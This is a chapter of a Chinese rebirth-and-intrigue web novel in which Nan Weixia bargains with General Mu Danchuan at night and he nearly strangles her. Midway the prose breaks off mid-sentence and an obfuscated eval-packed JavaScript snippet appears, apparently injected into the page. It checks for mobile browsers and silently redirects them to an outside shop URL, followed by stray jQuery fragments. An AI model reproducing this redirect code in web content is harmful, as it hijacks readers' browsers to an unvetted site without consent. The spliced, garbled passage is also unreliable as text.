暑意愈浓,睡前灵桑总将窗子支起留缝,晚风虽带着热意,总是聊胜于无。
正如往日那般,灵桑探身伸手要将窗子支起,坐在临窗榻上看书的南维夏忽地开口:“今夜便关着吧。”
女子方沐浴罢,浓密的、湿漉漉的青丝披在脑后,搭在肩头,透着茉莉花的香气。
灵桑迟疑道:“可若不留缝透气,半夜小姐该热醒了,明州不比洛城,到了夏日夜里也是闷热的。”
南维夏懒懒翻过书页,笑道:“你总有许多话等着我,那风吹得我头疼,待睡前我再开可好?”
听到她头疼,灵桑立时拧眉,放下手中茶盘:“奴婢为您按按吧,定是今日月坊脏乱,扰了小姐身子。小姐快莫要再看书,今日早些睡吧。”
南维夏躲过她的手,道:“傻丫头,这样还怎么看得进书,待我看完这章便睡,你先去休息吧。”
“那怎么成!”灵桑抿唇,眉头皱得蚂蚁路过都得陷进去。
“那你将那木架取来,我晾干了头发就睡。”床榻边的柚木架子半人高,坐在榻上正好能将头发搭在上头。
灵桑力气很大,单手拎起木架放到榻边。
“行了,你今天就早些去休息吧,我自己待着看会儿书便睡了。”
这是今夜小姐不知第几回催她离开,灵桑虽心生委屈,到底拗不过她的意思,一步三回头地离开了。
烛光微弱,单衣薄透,湿润乌发浸染,白净肉身若隐若现。女子半倚榻边,一手撑着软垫,一手执书册,手指葱白纤细,慵懒随性。
慕澹川进来时,看见的便是这幅场景。
见了来人,南维夏仅是瞥了一眼,将书册合起放在手边,面容平静。
男人墨袍沾染夜露,潮湿阴凉,翻过窗子时,带起一阵凉意。
慕澹川嘴角微勾,道:“你果然知道是我。”
说罢,他随手拎起搭在木架上的薄衣,劈头盖脸朝南维夏扔去,语调凉薄:“这儿可没有景王。”
南维夏面不改色套上薄衣,道:“怎的你不喜欢?”
原是为了避嫌,谁知在薄衣下,若隐若现的嫩白起伏更显诱惑。
慕澹川眼眸晦暗,浓郁乌色笼罩,紧紧盯着南维夏,不知她是真不拘小节亦或是别有用心,半晌才道:“南小姐倒是大方。”
南维夏没理会他,摊手向上,目光平静望着男人。
慕澹川视线掠过她白嫩掌心,似少女纯真无辜,毫无防备露出柔软,本是最勾人,偏搭上她如死灰平淡的目光,一丝旖旎也无,不知为何,他心中一阵不耐。
不仅此刻,每每见到她,心中总是贸然多出这份烦躁,没有缘由。
慕澹川掌心朝下,骨头吊坠从他指尖落下,左右晃悠。
“你为什么有这个?”
南维夏伸手去取,谁知慕澹川忽地抬高了手,堪堪避开,只垂眸等待她的回答。
原也没想隐瞒,否则又怎会以此为饵?只不过看见他的一瞬,内心那阵怨气攀升,南维夏止不住地恶心,连话也不想说。
见男人一副不回答誓不罢休的模样,南维夏只得道:“当年我的满月宴一位夫人赠予的。”
“夫人?她为何要赠你此物?”
南维夏叹息道:“听说本是一对,一个给了我,一个给了她儿子,原是要结娃娃亲的。”
见慕澹川深深拧眉,南维夏心中一阵畅快,继续道:“可惜了,自我母亲离世,这门亲事再无人提起,否则我该是有一门伯爵府的上好亲事呢。”
“哦?既然如此惋惜,今日重提也不算太迟。”慕澹川面上骤然浮现一抹残忍笑意,微俯下身,烛光勾勒出二人脸庞靠得极近。
男人眼尾上挑,落在寻常女子眼中是艳绝,南维夏却一眼看穿他眼底的挑衅狠厉。
心头涌上的恶寒难以遏制,南维夏眼睫微颤,虽仍执拗紧盯着男人,不愿服输,埋藏心底的恐惧却是毫无防备地从眼眸微闪间泄露。
“你很怕我。”慕澹川很快下了定论,“每一次见我,你都害怕。可是,为什么?”
南维夏攥紧手指,男人的目光让她险些坐不稳,强撑道:“我何时怕过你?”
前世他的狠绝,每每午夜忆起,总能让她汗浸衣襟,再难入睡。
早在初见,他已为她织就一张量身定制的大网,以饵引诱,眼睁睁看着她心甘情愿闯入,一面感激,一面庆幸,直到织网缠身,窒息而亡。
她恐惧他的洞察人心,也对他的处心积虑厌恶至极。
若非有求于他,南维夏是一面也不愿相见。
慕澹川冷笑一声,指腹深掐女子下颌,俯身凑得更近,寒气逼近,激得南维夏身子微微发抖,垂下头去避开他的视线。
“你认识我,且惧我厌我,知晓我与清水楼的关系。”慕澹川强行抬起她的下巴。
他靠得更加近了,南维夏甚至能从他黝黑瞳眸之中,看见自己竭力维持镇静的眼睛。
“你还知晓十年前谭阳的事,甚至知道薛孚在哪儿叫什么。如今拿了我母亲的遗物,邀我相见。”慕澹川冷声道,“南维夏,你想做什么?”
南维夏眸光微动,露出了然神态:“雍是你的人。”
难怪前世宋昱琛如何也探不出雍的底细,难怪慕澹川明明人在边境,却事事知晓。
慕澹川指腹用力,力度大得南维夏生疼,蹙起眉头,忍不住抬眸瞥向他。
似嗔似怨,即便慕澹川对美色早已免疫,仍是晃神片刻,咬牙切齿道:“收收你这副嘴脸。”
南维夏莫名其妙,抬了抬下巴,本想示意他松开,却是忘了本就靠得极近,一个在上一个在下,她这一抬,薄唇擦过男人略带青渣的下颌,粗糙酥麻,二人皆是猝不及防,同时止了动作。
唇上还残留男人体温,南维夏全身寒毛战栗,瞳孔猛然收缩,像受了惊的白兔,身子极快向后缩去。
陌生的柔软,是从未有过的触感,慕澹川一时没反应过来,直到看见南维夏一副怕极惶恐的模样,目光一闪,心中疑虑再次加深。
南维夏硬着头皮,强行转了话题,道:“……我没想做什么,只是想同慕将军做笔交易。”
慕澹川原也不知该作何反应,很快顺坡下驴,道:“什么交易?”
见他不反感,南维夏暗暗松了口气,道:“当年伯爵夫人与我母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892628|212784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亲手帕交,亦是时常到靖阳侯府做客,不知慕将军能否看在当年的情谊上高抬贵手,救侯府一命?”
慕澹川笑道:“南小姐也说了,是‘当年’的情谊,我又何必冒着风险来帮侯府?”
南维夏也没期望仅凭这个就说服他,接着道:“平心而论,于你而言,帮不帮侯府不过一念之差,没什么分别。”
靖阳侯府与他无冤无仇,前世顺势而为不过因为没必要,没必要因为没干系的人和宋昱琛作对。
南维夏直起身,眼眸直直望着男人,温声道:“我能替南云军营的马匹解毒。”
一任狂风席卷,吹开窗扉,慕澹川额间微蹙,看着南维夏起身关窗。
走过身边时,衣袖不可避免地拂过他指尖,软软的,带着女子沐浴后的茉莉香气。
她的个子高挑,却也只堪堪到他肩头,原坐着还没察觉,待她站起身,二人靠得极近,才发觉她要仰起头说话。
慕澹川收回心神,重复了一遍她方才说的话:“你能替南云军营的马匹解毒?”
南维夏点头,无视他话语间的不信任,道:“我会将巫草毒换作鸠毒,摆脱侯府嫌疑。”
慕澹川似笑非笑,定定望了她片刻,道:“鸠毒是宫里的毒,你这是要将罪责全推到景王身上去,由爱生恨?”
南维夏语调平淡,道:“只能他害人,便不许我反击了吗?”
慕澹川原也只是随口调侃,见她神情认真,便没在这个话题多做纠缠。
只是,他眯起眼睛:“我和景王交好,你为何不担心我将此事告密?”
南维夏攥着手指,面上浮现一丝茫然。
她竟把此事忘了。
慕澹川和宋昱琛形同水火,那是很久以后的事了,眼下在人前,二人情谊深厚,比亲兄弟还亲。
见她又露出这副无辜面容,慕澹川竟可怕地生出几分果然如此的念头。
杀气骤起,南维夏下意识朝旁侧躲去,可惜以如今未历过训练的身子,显然光靠警觉不足以躲过男人的袭击。
只是她这一避还是起了些作用。
方寸误差间,顺着力,二人一同倒在榻上。
一阵闷响,女子如海藻般的青丝凌乱落在榻上,茉莉花香涌动,旖旎在方寸天地。
男人冰凉的衣襟,温热的身躯,紧紧贴着她的肌肤。
曼妙有致的线条,随着二人紧贴,再无遮掩。
窗外,大风又起。
穿过窗扉,将微弱烛火熄灭,屋内陷入昏暗。
本该是暧昧缠绵至极,可二人眼中皆全无情欲。
南维夏清晰感受到,方才那转瞬即逝的杀意,她不会认错,慕澹川动手时,是真的想要杀了她。
男人粗粝指腹掐着她脖颈,力度未减。
和前世一样,只是这回再没有郑嘉念出言相救,也许再过几息,她就会窒息而亡。
慕澹川淡漠盯着身下女子,从这个角度,能看见这世间极为少见惊艳动人的眼眸。
幽暗中,他忽地蹙眉。
他清楚地看见,那双美丽的眸子中,只有麻木漠然的绝望。
没有一丝生机。